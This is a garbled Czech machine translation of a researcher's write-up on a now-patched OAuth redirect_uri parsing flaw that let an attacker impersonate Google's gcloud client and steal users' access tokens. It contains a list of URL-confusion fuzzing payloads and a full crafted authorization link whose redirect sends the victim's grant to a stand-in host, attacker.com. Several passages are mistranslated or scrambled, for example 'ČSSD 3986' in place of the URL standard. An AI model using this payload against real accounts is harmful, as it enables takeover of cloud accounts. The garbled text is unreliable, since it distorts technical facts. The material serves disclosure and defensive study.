TL;DR Třeboň; dr Tento článek prochází jedinečnou zranitelností převzetí účtu OAuth, kterou jsem nedávno zjistil, která ovlivňuje několik služeb Google. Tato zranitelnost umožňuje útočníkům předstírat legitimní aplikace, jako je klient Google Cloud SDK, a únik tokenu přístupu na server ovládaný útočníkem, který umožňuje zpětný přístup k účtu oběti – s téměř nulovou viditelností pro oběť. redirect_uri První čtyři sekce pokrývají obecné zázemí OAuth, rizika úniku tokenů a zmatek při analýze adres URL. Note: Section 5: Google Cloud Account Takeover Case. 1 Úvod OAuth 2.0 umožňuje aplikacím třetích stran přístup k uživatelským datům bez zpracování hesel přímo tím, že autorizační server (např. Google) generuje token, který bude aplikací třetích stran použit k vyžádání uživatelských dat nebo k provádění akcí jejich jménem. Jestliže však Tento parametr není validován chirurgickou přesností, útočníci se mohou předstírat, že jsou důvěryhodnými aplikacemi a podvádějí uživatele do úniku jejich přístupových tokenů. redirect_uri V tomto článku budu procházet tím, jak mi jemná chyba v analýze URL umožnila udělat přesně to - přes více služeb Google - s hlubokým ponořením do případu Google Cloud. Jak OAuth funguje Zatímco OAuth je poměrně složitý protokol, který si zaslouží řadu článků, které mají být plně pochopeny, zde je zjednodušený přehled: : The user is redirected to an authorization server (e.g., Google) to log in and approve requested permissions (scopes). Authorization Request : After approval, the server redirects the user back to a predefined with an authorization grant (a one-time code that gets exchanged for an access token, for simplicity sake we’ll refer to OAuth grant as access token). Redirect with Grant redirect_uri : The client app uses the token to access the user’s protected data from the resource server. Request user data Chcete-li věci vizualizovat, níže uvedený příliš zjednodušený diagram mi ukazuje přihlášení do médií pomocí mého účtu Google: V mnoha případech jsou autorizační server a zdrojový server stejné. Note: OAuth Token únik Při pohledu na výše uvedený diagram je nejtěžší částí krok 5, kde autorizační server odesílá generovaný token zpět do klientské aplikace. Chcete vědět, kam poslat token? redirect_uri Pokud tento parametr není správně validován, může útočník předstírat, že klientská aplikace (např. Medium) a podvádí autorizační server, aby jim poslal token přístupu uživatele – i když z pohledu uživatele vše vypadá legitimně. Typicky se je do jisté míry validována – nemůžete jen hodit náhodnou adresu URL na autorizační server. Avšak metody validace se v různých implementacích liší v závislosti na obchodních potřebách a chyby v tomto procesu mohou být využitelné. redirect_uri Některé společné vzorce: Přesné shodování: Přesné shodování řetězců s předem registrovaným URI. Wildcard nebo Path Prefix Matching: Povolení URI jako https://example.com/* nebo https://*.example.com. Loopbackové adresy: Společné v desktopových aplikacích, kde místní server zpracovává přesměrování. URL Parsing zmatek Podle Standardní URL má následující strukturu: ČSSD 3986 scheme://username:password@host:port/path?query#fragment Každá složka hraje určitou roli: : in web context it’s usually the protocol (e.g., http) scheme : user credentials username:password : the domain or IP address (e.g., google.com) host : optional port number (e.g., 443) port : the specific resource or endpoint (e.g., /login) path : key-value pairs of parameters query : a client side page reference fragment Označuje se jako Jsou označovány jako Note: host:port authority, username:password userinfo Na první pohled to vypadá jednoduše – ale mohou se vyskytnout jemné rozdíly v analýze, zejména při manipulaci s případy hranic. Vývojáři mohou předpokládat, že adresa URL je analyzována konzistentním, standardizovaným způsobem ve všech knihovnách, nicméně rozsáhlý výzkum analyzátorů URL prokázal naprostý opak. OAuth redirect URI validation SSRF prevention Proxy or CDN routing Níže je uveden příklad, kde se s jednou adresou URL zachází odlišně mezi třemi různými analyzátory Zatímco tento článek se nebude hluboce ponořit do URL analýzy zmatkových útoků, jsou důkladně prozkoumány v papíru Black Hat z roku 2017. Nová éra SSRF – využití URL parseru v trendových programovacích jazycích Případ převzetí účtu Google Cloud Pokud jste někdy používali Google Cloud dříve, pravděpodobně jste narazili na Nástroj CLI – výkonný nástroj příkazového řádku používaný pro správu zdrojů Google Cloud. Mezi dalšími funkcemi umožňuje uživatelům ověřovat pomocí svých účtů Google prostřednictvím procházení OAuth založeného na prohlížeči. gcloud Zde je, jak to funguje: The user runs gcloud auth login spawns a local http server on a dynamic port (e.g., http://localhost:50000) gcloud opens a browser window directing the user to a Google OAuth authorization URL with set to the local server address gcloud redirect_uri The user authenticates and consents to the requested scopes Google redirects the user to containing the authorization code redirect_uri exchanges the authorization code for an access token gcloud uses the access token to perform actions on the user’s Google cloud account gcloud Aby tento tok fungoval, společnost Google důvěřuje určitým URL adresám (např. http://localhost) pro nativní aplikace, protože jsou považovány za dostatečně bezpečné pro místní použití a jsou vnitřně bílé. Identifikace útočného povrchu Po zhlédnutí A Používá se jako Mým prvním záměrem bylo nahradit ho a je to rozhodující krok, protože potvrzuje, že adresy URL jsou ve skutečnosti analyzovány a porovnávány interně, spíše než mít nějakou základní kontrolu, jako je: localhost redirect_uri 127.0.0.1 [::1] if re.match(r"^http://localhost:\d{1,5}/$", url) is None: return False Takže tady máme dvě důležité věci, které se dějí: The provided gets parsed and validated internally by Google’s backend. redirect_uri After a successful login and user consent, users get redirected to in the browser. redirect_uri To znamená, že máme dva URL analyzátory na místě, ten, který používá Google backend, a analyzátor používaný naším prohlížečem (Chrome v mém případě), takže pokud nejsou tyto dva analyzátory totožné, může být jakákoli nesoulad mezi nimi využit k úniku OAuth grant na server ovládaný útočníkem. Cíl je nyní jasný, musíme vytvořit adresu URL, která se mezi oběma analyzátory analyzuje odlišně, takovým způsobem, že podvádíme backendový analyzátor Googlu, aby jej analyzoval jako adresu loopback, zatímco analyzátor Chrome ji analyzuje jako globální internetovou adresu. Skutečnost, že máme velmi omezené znalosti o Google backend a jakou knihovnu interně používají k analýze adres URL, znamená, že máme jen přístup černé skříňky. B. Fuzzing pro vítězství To, co jsem udělal dál, bylo napsat skript Python, který by mutoval různé adresy URL aplikací různých kódovacích triků, alternativních poznámek a případů okrajů, abych zjistil, které z nich prošly ověřením backend společnosti Google, ale byly vykládány jinak Chrome, skript používá několik triků, jako jsou: Alternativní IP zastoupení: [::ffff:127.0.0.1], [0000::1], 2130706433, 127.0.1, 0177.0.0.1, [::1] Soukromé IP adresy: 10.0.0.5, 192.168.5.3, 127.10.0.1 Různé schémata: file://, ldap://, ftp://, javascript://, data:// CRLF injekce: %0D%0A Hostitelské jméno/IP jako uživatelská informace: http://127.0.0.1@attacker.com, http://attacker.com@127.0.0.1, http://[::1]@attacker.com Velmi dlouhé adresy URL: http://AAAAAA...@127.0.0.1 DNS přípony: 127.0.0.1.attacker.com Škodlivé adresy URL: attacker.com@127.0.0.1:8080@attacker.com, attacker.com#@127.0.0.1, attacker.com?@127.0.0.1, attacker.com&@127.0.0.1 Injekce dotazu/fragmentu: Injekce extra ? , & nebo # před/po @ DNS rebinding (vyzkoušené ručně) Po spuštění scénáře na chvíli, a k mému překvapení, jeden z generovaných případů okrajů se podařilo spustit přesnou nesoulad jsem hledal, moje reakce byla jako: Úspěšný edge případ byl: http://[0:0:0:0:0:ffff:128.168.1.0]@[0:0:0:0:0:ffff:127.168.1.0]@attacker.com/ které lze dále zjednodušit na: http://[::1]@[::1]@attacker.com/ Při pokusu o analýzu této URL pomocí prohlížeče Chrome získáme následující výsledek: Zajímavá část o To znamená, že je to malformovaný URL na začátek. Charakter je vyhrazen pro oddělení Z toho Chrome zmírňuje tento případ okraje kódováním všech nezabezpečených znaků, stejně jako dřívějších výskytů rezervovaných znaků a používá pouze nejnovější Zajišťuje to, že jakýkoliv Předtím, než je poslední z nich URL-kódován. http://[::1]@[::1]@attacker.com/ @ userinfo hostname @ @ Naopak, na základě experimentálního testování s variacemi užitného zatížení se zdá, že Google backend parser správně nekódoval předchozí výskyty rezervovaných znaků a místo toho použil první výskyt jako rozdělovač. po rozdělení na S největší pravděpodobností si parťák vybral a z pevných pozic, zcela ignorovat sledování . @ @ userinfo hostname attacker.com Je třeba poznamenat, že toto chování bylo spuštěno výhradně při používání IPv6. Fungovalo to, jak se očekávalo, a zdůraznilo se, že nesoulad byl specifický pro IPv6 analýzu logiku. http://127.0.0.1@127.0.0.1@attacker.com C. dát to všechno dohromady Nyní se náš útokový vektor stává jasným, můžeme předstírat cli nástroj a podvádět uživatele, aby ověřil myšlenku, kterou ověřuje . gcloud gcloud Útok se odehrává takto: Vytvořte škodlivou žádost o autorizaci OAuth a odešlete její odkaz (kódový blok níže) oběti Oběti je prezentován zcela legitimní tok ověřování OAuth pro klient Google Cloud SDK (obrázek 9). Oběť se přihlásí a souhlasí s uvedenými oprávněními (účely) Oběť je přesměrována na náš škodlivý hostitel, s jejich generovaným OAuth grantem Používáme grant OAuth k provádění volání API na účet oběti jejich jménem https://accounts.google.com/o/oauth2/auth?response_type=code&client_id=32555940559.apps.googleusercontent.com&redirect_uri=http://[::1]@[::1]@attacker.com/&scope=openid+https%3A%2F%2Fwww.googleapis.com%2Fauth%2Fuserinfo.email+https%3A%2F%2Fwww.googleapis.com%2Fauth%2Fcloud-platform+https%3A%2F%2Fwww.googleapis.com%2Fauth%2Fappengine.admin+https%3A%2F%2Fwww.googleapis.com%2Fauth%2Fsqlservice.login+https%3A%2F%2Fwww.googleapis.com%2Fauth%2Fcompute+https%3A%2F%2Fwww.googleapis.com%2Fauth%2Faccounts.reauth&state=[state]&access_type=offline&code_challenge=[code_challenge]&code_challenge_method=S256 Níže je vizualizace navrhovaného útoku Z pohledu uživatele by to vypadalo, jako by se autentizovali do i pro autorizační server Google by to vypadalo, jako by se uživatel pokoušel ověřit , takže efektivně podvádíme obě strany autentizace, aby si mysleli, že je to legitimní proces autentizace, zatímco konečný token přístupu je únik do našeho škodlivého hostitele. gcloud gcloud Únik přístupového tokenu nám účinně poskytne neomezený přístup k účtu obětí, což nám umožní provádět i vysoce privilegované akce. Co dělá tento útok ještě nebezpečnější je: : official Google applications and services get a sort of special treatment, unlike 3rd-party applications, they don’t get listed on page (this was the case before the vulnerability was patched), that means once an attacker gets a victim’s access token (and maybe refresh token as well), Stealth Third-party apps & services they can effectively have a stealthy, long-term backdoor access with almost zero visibility to the user. : official Google applications can request high-risk scopes, actions that are often regarded as highly privileged, so we can technically request more scopes that what a normal application might request (we can only request scopes that are available but not actively requested) Trust gcloud Jak již bylo uvedeno na začátku tohoto článku, je jen jedna zranitelná aplikace, níže jsou některé další aplikace, které jsem zjistil, že jsou zranitelné také: gcloud Google Drive Desktop Client Firebase Desktop Client Windows Mail (3rd-party app) Google reagoval rychle, uznal závažnost během 72 hodin a udělil odměnu vysoké závažnosti. 6. závěr Tento výzkum zdůrazňuje, jak jemný rozdíl v analýze adres URL může zcela podkopat bezpečnost celého průtoku ověřování, který je opětovně používán v různých aplikacích a službách, a to i tehdy, když je implementován společností, která je tak zralá a vědomá bezpečnosti jako Google. Ačkoli je OAuth vyspělým a dobře studovaným protokolem, jeho bezpečnost silně závisí na drobných detailech implementace, které se liší mezi platformami, knihovnami a prostředími. Google tuto zranitelnost po zodpovědném zveřejnění opravil. Díky za čtení!